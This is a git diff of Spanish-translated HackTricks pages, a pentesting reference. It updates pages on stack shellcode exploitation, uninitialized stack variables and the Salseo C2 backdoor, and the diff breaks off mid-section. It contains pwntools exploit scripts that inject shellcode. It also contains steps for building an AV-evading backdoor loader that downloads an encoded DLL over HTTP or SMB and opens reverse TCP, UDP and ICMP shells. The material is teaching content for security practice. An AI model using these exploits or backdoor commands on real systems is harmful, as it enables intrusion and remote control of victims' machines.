[ret2esp-ret2reg.md](../rop-return-oriented-programing/ret2esp-ret2reg.md)
{% endcontent-ref %}
+{% hint style="success" %}
+Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Aprende hacking en AWS desde cero hasta experto conhtARTE (HackTricks AWS Red Team Expert)!
+Apoya a HackTricks
-Otras formas de apoyar a HackTricks:
-
-* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
-* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Comparte tus trucos de hacking enviando PRs a** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
+{% endhint %}
diff --git a/binary-exploitation/stack-overflow/stack-shellcode/README.md b/binary-exploitation/stack-overflow/stack-shellcode/README.md
index dd832639b..05f7405ab 100644
--- a/binary-exploitation/stack-overflow/stack-shellcode/README.md
+++ b/binary-exploitation/stack-overflow/stack-shellcode/README.md
@@ -1,26 +1,27 @@
-# Shellcode de Pila
+# Stack Shellcode
+
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Aprende hacking en AWS desde cero hasta experto conhtARTE (Experto en Equipo Rojo de AWS de HackTricks)!
+Support HackTricks
-Otras formas de apoyar a HackTricks:
-
-* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
-* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
## Información Básica
-**Shellcode de pila** es una técnica utilizada en **explotación binaria** donde un atacante escribe shellcode en la pila de un programa vulnerable y luego modifica el **Puntero de Instrucción (IP)** o el **Puntero de Instrucción Extendido (EIP)** para que apunte a la ubicación de este shellcode, provocando su ejecución. Este es un método clásico utilizado para obtener acceso no autorizado o ejecutar comandos arbitrarios en un sistema objetivo. Aquí tienes un desglose del proceso, incluido un ejemplo simple en C y cómo podrías escribir un exploit correspondiente usando Python con **pwntools**.
+**Stack shellcode** es una técnica utilizada en **binary exploitation** donde un atacante escribe shellcode en la pila de un programa vulnerable y luego modifica el **Instruction Pointer (IP)** o **Extended Instruction Pointer (EIP)** para apuntar a la ubicación de este shellcode, causando que se ejecute. Este es un método clásico utilizado para obtener acceso no autorizado o ejecutar comandos arbitrarios en un sistema objetivo. Aquí hay un desglose del proceso, incluyendo un ejemplo simple en C y cómo podrías escribir un exploit correspondiente usando Python con **pwntools**.
### Ejemplo en C: Un Programa Vulnerable
-Comencemos con un ejemplo simple de un programa vulnerable en C:
+Comencemos con un ejemplo simple de un programa C vulnerable:
```c
#include
#include
@@ -44,14 +45,14 @@ Para compilar este programa deshabilitando varias protecciones (para simular un
```sh
gcc -m32 -fno-stack-protector -z execstack -no-pie -o vulnerable vulnerable.c
```
-* `-fno-stack-protector`: Deshabilita la protección de la pila.
-* `-z execstack`: Hace que la pila sea ejecutable, lo cual es necesario para ejecutar el shellcode almacenado en la pila.
-* `-no-pie`: Deshabilita la Ejecución de Código Independiente de la Posición, facilitando predecir la dirección de memoria donde estará ubicado nuestro shellcode.
+* `-fno-stack-protector`: Desactiva la protección de pila.
+* `-z execstack`: Hace que la pila sea ejecutable, lo cual es necesario para ejecutar shellcode almacenado en la pila.
+* `-no-pie`: Desactiva el ejecutable independiente de posición, facilitando la predicción de la dirección de memoria donde se ubicará nuestro shellcode.
* `-m32`: Compila el programa como un ejecutable de 32 bits, a menudo utilizado por simplicidad en el desarrollo de exploits.
-### Exploit en Python usando Pwntools
+### Python Exploit usando Pwntools
-Así es como podrías escribir un exploit en Python usando **pwntools** para realizar un ataque **ret2shellcode**:
+Aquí te mostramos cómo podrías escribir un exploit en Python usando **pwntools** para realizar un ataque **ret2shellcode**:
```python
from pwn import *
@@ -78,24 +79,39 @@ payload += p32(0xffffcfb4) # Supossing 0xffffcfb4 will be inside NOP slide
p.sendline(payload)
p.interactive()
```
-Este script construye un payload que consiste en un **NOP slide**, el **shellcode**, y luego sobrescribe el **EIP** con la dirección que apunta al NOP slide, asegurando que el shellcode se ejecute.
+Este script construye una carga útil que consiste en un **NOP slide**, el **shellcode**, y luego sobrescribe el **EIP** con la dirección que apunta al NOP slide, asegurando que el shellcode se ejecute.
-El **NOP slide** (`asm('nop')`) se utiliza para aumentar la probabilidad de que la ejecución "se deslice" hacia nuestro shellcode independientemente de la dirección exacta. Ajusta el argumento `p32()` a la dirección de inicio de tu búfer más un desplazamiento para aterrizar en el NOP slide.
+El **NOP slide** (`asm('nop')`) se utiliza para aumentar la probabilidad de que la ejecución "deslice" hacia nuestro shellcode independientemente de la dirección exacta. Ajusta el argumento `p32()` a la dirección de inicio de tu buffer más un desplazamiento para aterrizar en el NOP slide.
## Protecciones
-* **ASLR** **debe estar deshabilitado** para que la dirección sea confiable en todas las ejecuciones, de lo contrario, la dirección donde se almacenará la función no será siempre la misma y necesitarías alguna fuga para averiguar dónde se carga la función win.
-* Los **Canarios de la Pila** también deben estar deshabilitados o la dirección de retorno comprometida del EIP no será seguida nunca.
-* La protección de **NX** en la **pila** evitaría la ejecución del shellcode dentro de la pila porque esa región no sería ejecutable.
+* [**ASLR**](../../common-binary-protections-and-bypasses/aslr/) **debe estar deshabilitado** para que la dirección sea confiable a través de ejecuciones o la dirección donde se almacenará la función no siempre será la misma y necesitarías alguna filtración para averiguar dónde se carga la función win.
+* [**Stack Canaries**](../../common-binary-protections-and-bypasses/stack-canaries/) también deben estar deshabilitados o la dirección de retorno EIP comprometida nunca será seguida.
+* La protección de **stack** [**NX**](../../common-binary-protections-and-bypasses/no-exec-nx.md) impediría la ejecución del shellcode dentro de la pila porque esa región no será ejecutable.
## Otros Ejemplos y Referencias
* [https://ir0nstone.gitbook.io/notes/types/stack/shellcode](https://ir0nstone.gitbook.io/notes/types/stack/shellcode)
* [https://guyinatuxedo.github.io/06-bof\_shellcode/csaw17\_pilot/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/csaw17\_pilot/index.html)
-* 64 bits, ASLR con fuga de dirección de pila, escribe shellcode y salta a él
+* 64bit, ASLR con filtración de dirección de pila, escribir shellcode y saltar a él
* [https://guyinatuxedo.github.io/06-bof\_shellcode/tamu19\_pwn3/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/tamu19\_pwn3/index.html)
-* 32 bits, ASLR con fuga de dirección de pila, escribe shellcode y salta a él
+* 32 bit, ASLR con filtración de pila, escribir shellcode y saltar a él
* [https://guyinatuxedo.github.io/06-bof\_shellcode/tu18\_shellaeasy/index.html](https://guyinatuxedo.github.io/06-bof\_shellcode/tu18\_shellaeasy/index.html)
-* 32 bits, ASLR con fuga de dirección de pila, comparación para evitar la llamada a exit(), sobrescribe variable con un valor y escribe shellcode y salta a él
+* 32 bit, ASLR con filtración de pila, comparación para prevenir la llamada a exit(), sobrescribir variable con un valor y escribir shellcode y saltar a él
* [https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/](https://8ksec.io/arm64-reversing-and-exploitation-part-4-using-mprotect-to-bypass-nx-protection-8ksec-blogs/)
* arm64, sin ASLR, gadget ROP para hacer la pila ejecutable y saltar al shellcode en la pila
+
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+
+
+Support HackTricks
+
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+
+
+{% endhint %}
diff --git a/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md b/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md
index 432d8af1c..3d05bbd4d 100644
--- a/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md
+++ b/binary-exploitation/stack-overflow/stack-shellcode/stack-shellcode-arm64.md
@@ -1,18 +1,19 @@
-# Shellcode de pila - arm64
+# Stack Shellcode - arm64
+
+{% hint style="success" %}
+Aprende y practica Hacking en AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Aprende y practica Hacking en GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Aprende hacking en AWS desde cero hasta experto conhtARTE (Experto en Equipos Rojos de AWS de HackTricks)!
+Apoya a HackTricks
-Otras formas de apoyar a HackTricks:
-
-* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
-* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
+* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
+* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
+{% endhint %}
Encuentra una introducción a arm64 en:
@@ -35,19 +36,23 @@ vulnerable_function();
return 0;
}
```
-Compilar sin pie, canary y nx:
+Compilar sin pie, canario y nx:
{% code overflow="wrap" %}
```bash
clang -o bof bof.c -fno-stack-protector -Wno-format-security -no-pie -z execstack
```
-## Sin ASLR y sin canary - Desbordamiento de pila
+{% endcode %}
-Para desactivar ASLR ejecuta:
+## Sin ASLR & Sin canario - Desbordamiento de pila
+
+Para detener ASLR, ejecuta:
```bash
echo 0 | sudo tee /proc/sys/kernel/randomize_va_space
```
-Para obtener el **desplazamiento de la desbordamiento de búfer, revisa este enlace**.
+Para obtener el [**offset del bof revisa este enlace**](../ret2win/ret2win-arm64.md#finding-the-offset).
+
+Explotar:
```python
from pwn import *
@@ -78,6 +83,21 @@ p.send(payload)
# Drop to an interactive session
p.interactive()
```
-Lo único "complicado" de encontrar aquí sería la dirección en la pila para llamar. En mi caso, generé el exploit con la dirección encontrada usando gdb, pero luego al explotarlo no funcionó (porque la dirección de la pila cambió un poco).
+La única cosa "complicada" de encontrar aquí sería la dirección en la pila para llamar. En mi caso, generé el exploit con la dirección encontrada usando gdb, pero luego, al explotarlo, no funcionó (porque la dirección de la pila cambió un poco).
-Abrí el **archivo `core`** generado (`gdb ./bog ./core`) y verifiqué la dirección real del inicio del shellcode.
+Abrí el archivo **`core`** generado (`gdb ./bog ./core`) y verifiqué la dirección real del inicio del shellcode.
+
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+
+
+Support HackTricks
+
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+
+
+{% endhint %}
diff --git a/binary-exploitation/stack-overflow/uninitialized-variables.md b/binary-exploitation/stack-overflow/uninitialized-variables.md
index 6fd83020a..435a358a8 100644
--- a/binary-exploitation/stack-overflow/uninitialized-variables.md
+++ b/binary-exploitation/stack-overflow/uninitialized-variables.md
@@ -1,39 +1,40 @@
-# Variables no inicializadas
+# Variables No Inicializadas
+
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Aprende hacking en AWS de cero a héroe conhtARTE (Experto en Red Team de AWS de HackTricks)!
+Support HackTricks
-Otras formas de apoyar a HackTricks:
-
-* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
-* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
## Información Básica
-La idea principal aquí es entender qué sucede con las **variables no inicializadas, ya que tendrán el valor que ya estaba asignado en la memoria asignada a ellas.** Ejemplo:
+La idea principal aquí es entender qué sucede con **las variables no inicializadas, ya que tendrán el valor que ya estaba en la memoria asignada a ellas.** Ejemplo:
* **Función 1: `initializeVariable`**: Declaramos una variable `x` y le asignamos un valor, digamos `0x1234`. Esta acción es similar a reservar un espacio en la memoria y poner un valor específico en él.
-* **Función 2: `useUninitializedVariable`**: Aquí, declaramos otra variable `y` pero no le asignamos ningún valor. En C, las variables no inicializadas no se establecen automáticamente en cero. En su lugar, conservan el valor que estaba almacenado en su ubicación de memoria.
+* **Función 2: `useUninitializedVariable`**: Aquí, declaramos otra variable `y` pero no le asignamos ningún valor. En C, las variables no inicializadas no se establecen automáticamente en cero. En cambio, retienen el último valor que se almacenó en su ubicación de memoria.
Cuando ejecutamos estas dos funciones **secuencialmente**:
1. En `initializeVariable`, `x` se le asigna un valor (`0x1234`), que ocupa una dirección de memoria específica.
-2. En `useUninitializedVariable`, se declara `y` pero no se le asigna un valor, por lo que toma el lugar de memoria justo después de `x`. Debido a no inicializar `y`, termina "heredando" el valor de la misma ubicación de memoria utilizada por `x`, porque ese fue el último valor que estaba allí.
+2. En `useUninitializedVariable`, `y` se declara pero no se le asigna un valor, por lo que toma el espacio de memoria justo después de `x`. Debido a que no se inicializa `y`, termina "heredando" el valor de la misma ubicación de memoria utilizada por `x`, porque ese es el último valor que estuvo allí.
-Este comportamiento ilustra un concepto clave en la programación de bajo nivel: **La gestión de memoria es crucial**, y las variables no inicializadas pueden llevar a un comportamiento impredecible o vulnerabilidades de seguridad, ya que pueden contener involuntariamente datos sensibles dejados en la memoria.
+Este comportamiento ilustra un concepto clave en la programación de bajo nivel: **La gestión de memoria es crucial**, y las variables no inicializadas pueden llevar a un comportamiento impredecible o vulnerabilidades de seguridad, ya que pueden contener involuntariamente datos sensibles que quedan en la memoria.
-Las variables de la pila no inicializadas podrían plantear varios riesgos de seguridad como:
+Las variables de pila no inicializadas podrían presentar varios riesgos de seguridad como:
-* **Fuga de datos**: Información sensible como contraseñas, claves de cifrado o detalles personales pueden ser expuestos si se almacenan en variables no inicializadas, lo que permite a los atacantes potencialmente leer estos datos.
-* **Divulgación de información**: El contenido de variables no inicializadas podría revelar detalles sobre el diseño de memoria del programa u operaciones internas, ayudando a los atacantes a desarrollar exploits dirigidos.
-* **Fallos e Inestabilidad**: Las operaciones que involucran variables no inicializadas pueden resultar en un comportamiento indefinido, lo que lleva a bloqueos del programa o resultados impredecibles.
-* **Ejecución de Código Arbitrario**: En ciertos escenarios, los atacantes podrían explotar estas vulnerabilidades para alterar el flujo de ejecución del programa, lo que les permite ejecutar código arbitrario, que podría incluir amenazas de ejecución de código remoto.
+* **Filtración de Datos**: Información sensible como contraseñas, claves de cifrado o detalles personales pueden ser expuestos si se almacenan en variables no inicializadas, permitiendo a los atacantes potencialmente leer estos datos.
+* **Divulgación de Información**: El contenido de las variables no inicializadas podría revelar detalles sobre la disposición de la memoria del programa o las operaciones internas, ayudando a los atacantes a desarrollar exploits dirigidos.
+* **Caídas e Inestabilidad**: Las operaciones que involucran variables no inicializadas pueden resultar en un comportamiento indefinido, llevando a caídas del programa o resultados impredecibles.
+* **Ejecución de Código Arbitrario**: En ciertos escenarios, los atacantes podrían explotar estas vulnerabilidades para alterar el flujo de ejecución del programa, permitiéndoles ejecutar código arbitrario, lo que podría incluir amenazas de ejecución remota de código.
### Ejemplo
```c
@@ -65,12 +66,27 @@ demonstrateUninitializedVar();
return 0;
}
```
-#### Cómo Funciona:
+#### Cómo Funciona Esto:
-* **Función `initializeAndPrint`**: Esta función declara una variable entera `initializedVar`, le asigna el valor `100` y luego imprime tanto la dirección de memoria como el valor de la variable. Este paso es directo y muestra cómo se comporta una variable inicializada.
-* **Función `demonstrateUninitializedVar`**: En esta función, declaramos una variable entera `uninitializedVar` sin inicializarla. Cuando intentamos imprimir su valor, la salida puede mostrar un número aleatorio. Este número representa cualquier dato que estuviera previamente en esa ubicación de memoria. Dependiendo del entorno y del compilador, la salida real puede variar y, a veces, por seguridad, algunos compiladores podrían inicializar automáticamente las variables a cero, aunque no se debe confiar en esto.
-* **Función `main`**: La función `main` llama a ambas funciones anteriores en secuencia, demostrando la diferencia entre una variable inicializada y una no inicializada.
+* **Función `initializeAndPrint`**: Esta función declara una variable entera `initializedVar`, le asigna el valor `100` y luego imprime tanto la dirección de memoria como el valor de la variable. Este paso es sencillo y muestra cómo se comporta una variable inicializada.
+* **Función `demonstrateUninitializedVar`**: En esta función, declaramos una variable entera `uninitializedVar` sin inicializarla. Cuando intentamos imprimir su valor, la salida puede mostrar un número aleatorio. Este número representa cualquier dato que estaba previamente en esa ubicación de memoria. Dependiendo del entorno y del compilador, la salida real puede variar, y a veces, por seguridad, algunos compiladores pueden inicializar automáticamente las variables a cero, aunque esto no debe ser confiable.
+* **Función `main`**: La función `main` llama a ambas funciones anteriores en secuencia, demostrando el contraste entre una variable inicializada y una no inicializada.
## Ejemplo ARM64
-Esto no cambia en absoluto en ARM64, ya que las variables locales también se gestionan en la pila, puedes [**ver este ejemplo**](https://8ksec.io/arm64-reversing-and-exploitation-part-6-exploiting-an-uninitialized-stack-variable-vulnerability/) donde se muestra esto.
+Esto no cambia en absoluto en ARM64 ya que las variables locales también se gestionan en la pila, puedes [**ver este ejemplo**](https://8ksec.io/arm64-reversing-and-exploitation-part-6-exploiting-an-uninitialized-stack-variable-vulnerability/) donde se muestra esto.
+
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
+
+
+Support HackTricks
+
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+
+
+{% endhint %}
diff --git a/c2/salseo.md b/c2/salseo.md
index a4d631e07..1d1b44efe 100644
--- a/c2/salseo.md
+++ b/c2/salseo.md
@@ -1,36 +1,37 @@
# Salseo
+{% hint style="success" %}
+Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\
+Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
+
-Aprende a hackear AWS de cero a héroe conhtARTE (Experto en Equipos Rojos de AWS de HackTricks)!
+Support HackTricks
-Otras formas de apoyar a HackTricks:
-
-* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
-* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
-* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
-* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+{% endhint %}
-## Compilando los binarios
+## Compiling the binaries
Descarga el código fuente desde github y compila **EvilSalsa** y **SalseoLoader**. Necesitarás tener **Visual Studio** instalado para compilar el código.
-Compila esos proyectos para la arquitectura de la máquina Windows donde los vas a utilizar (si Windows soporta x64, compílalos para esa arquitectura).
+Compila esos proyectos para la arquitectura de la caja de Windows donde los vas a usar (Si Windows soporta x64, compílalos para esa arquitectura).
-Puedes **seleccionar la arquitectura** dentro de Visual Studio en la pestaña **"Build"** en **"Platform Target".**
+Puedes **seleccionar la arquitectura** dentro de Visual Studio en la **pestaña "Build" izquierda** en **"Platform Target".**
-(\*\*Si no encuentras estas opciones, presiona en **"Project Tab"** y luego en **"\ Propiedades"**)
+(\*\*Si no puedes encontrar estas opciones, presiona en **"Project Tab"** y luego en **"\ Properties"**)
![](<../.gitbook/assets/image (839).png>)
-Luego, compila ambos proyectos (Build -> Build Solution) (Dentro de los registros aparecerá la ruta del ejecutable):
+Luego, construye ambos proyectos (Build -> Build Solution) (Dentro de los registros aparecerá la ruta del ejecutable):
![](<../.gitbook/assets/image (381).png>)
-## Preparar la Puerta Trasera
+## Prepare the Backdoor
Primero que nada, necesitarás codificar el **EvilSalsa.dll.** Para hacerlo, puedes usar el script de python **encrypterassembly.py** o puedes compilar el proyecto **EncrypterAssembly**:
@@ -48,25 +49,25 @@ Ok, ahora tienes todo lo que necesitas para ejecutar todo el asunto de Salseo: e
**Sube el binario SalseoLoader.exe a la máquina. No deberían ser detectados por ningún AV...**
-## **Ejecutar la puerta trasera**
+## **Ejecutar el backdoor**
-### **Obteniendo un shell inverso TCP (descargando el dll codificado a través de HTTP)**
+### **Obteniendo un shell reverso TCP (descargando dll codificada a través de HTTP)**
-Recuerda iniciar un nc como oyente de shell inverso y un servidor HTTP para servir el EvilDalsa codificado.
+Recuerda iniciar un nc como el listener del shell reverso y un servidor HTTP para servir el evilsalsa codificado.
```
SalseoLoader.exe password http:///evilsalsa.dll.txt reversetcp
```
-### **Obteniendo un shell inverso UDP (descargando un dll codificado a través de SMB)**
+### **Obteniendo un shell reverso UDP (descargando dll codificada a través de SMB)**
-Recuerda iniciar un nc como oyente del shell inverso, y un servidor SMB para servir al evilsalsa codificado (impacket-smbserver).
+Recuerda iniciar un nc como el oyente del shell reverso y un servidor SMB para servir el evilsalsa codificado (impacket-smbserver).
```
SalseoLoader.exe password \\/folder/evilsalsa.dll.txt reverseudp
```
-### **Obteniendo una shell inversa ICMP (dll codificada ya dentro de la víctima)**
+### **Obteniendo un shell reverso ICMP (dll codificada ya dentro de la víctima)**
-**Esta vez necesitas una herramienta especial en el cliente para recibir la shell inversa. Descarga:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
+**Esta vez necesitas una herramienta especial en el cliente para recibir el shell reverso. Descarga:** [**https://github.com/inquisb/icmpsh**](https://github.com/inquisb/icmpsh)
-#### **Desactivar Respuestas ICMP:**
+#### **Desactivar las respuestas ICMP:**
```
sysctl -w net.ipv4.icmp_echo_ignore_all=1
@@ -77,11 +78,11 @@ sysctl -w net.ipv4.icmp_echo_ignore_all=0
```
python icmpsh_m.py "" ""
```
-#### Dentro de la víctima, vamos a ejecutar la cosa de salseo:
+#### Dentro de la víctima, ejecutemos la cosa de salseo:
```
SalseoLoader.exe password C:/Path/to/evilsalsa.dll.txt reverseicmp
```
-## Compilando SalseoLoader como DLL exportando función principal
+## Compilando SalseoLoader como DLL exportando la función principal
Abre el proyecto SalseoLoader usando Visual Studio.
@@ -89,65 +90,65 @@ Abre el proyecto SalseoLoader usando Visual Studio.
![](<../.gitbook/assets/image (409).png>)
-### Instala DllExport para este proyecto
+### Instalar DllExport para este proyecto
-#### **Herramientas** --> **Gestor de paquetes NuGet** --> **Administrar paquetes NuGet para la solución...**
+#### **Herramientas** --> **Administrador de paquetes NuGet** --> **Administrar paquetes NuGet para la solución...**
![](<../.gitbook/assets/image (881).png>)
-#### **Busca el paquete DllExport (usando la pestaña Examinar) y presiona Instalar (y acepta el aviso emergente)**
+#### **Buscar el paquete DllExport (usando la pestaña Buscar) y presionar Instalar (y aceptar el popup)**
![](<../.gitbook/assets/image (100).png>)
-En la carpeta de tu proyecto han aparecido los archivos: **DllExport.bat** y **DllExport\_Configure.bat**
+En tu carpeta de proyecto han aparecido los archivos: **DllExport.bat** y **DllExport\_Configure.bat**
-### **Desinstala DllExport**
+### **Des**instalar DllExport
-Presiona **Desinstalar** (sí, es extraño pero confía en mí, es necesario)
+Presiona **Desinstalar** (sí, es raro pero confía en mí, es necesario)
![](<../.gitbook/assets/image (97).png>)
-### **Cierra Visual Studio y ejecuta DllExport\_configure**
+### **Salir de Visual Studio y ejecutar DllExport\_configure**
-Simplemente **cierra** Visual Studio
+Simplemente **sal** de Visual Studio
-Luego, ve a tu **carpeta de SalseoLoader** y **ejecuta DllExport\_Configure.bat**
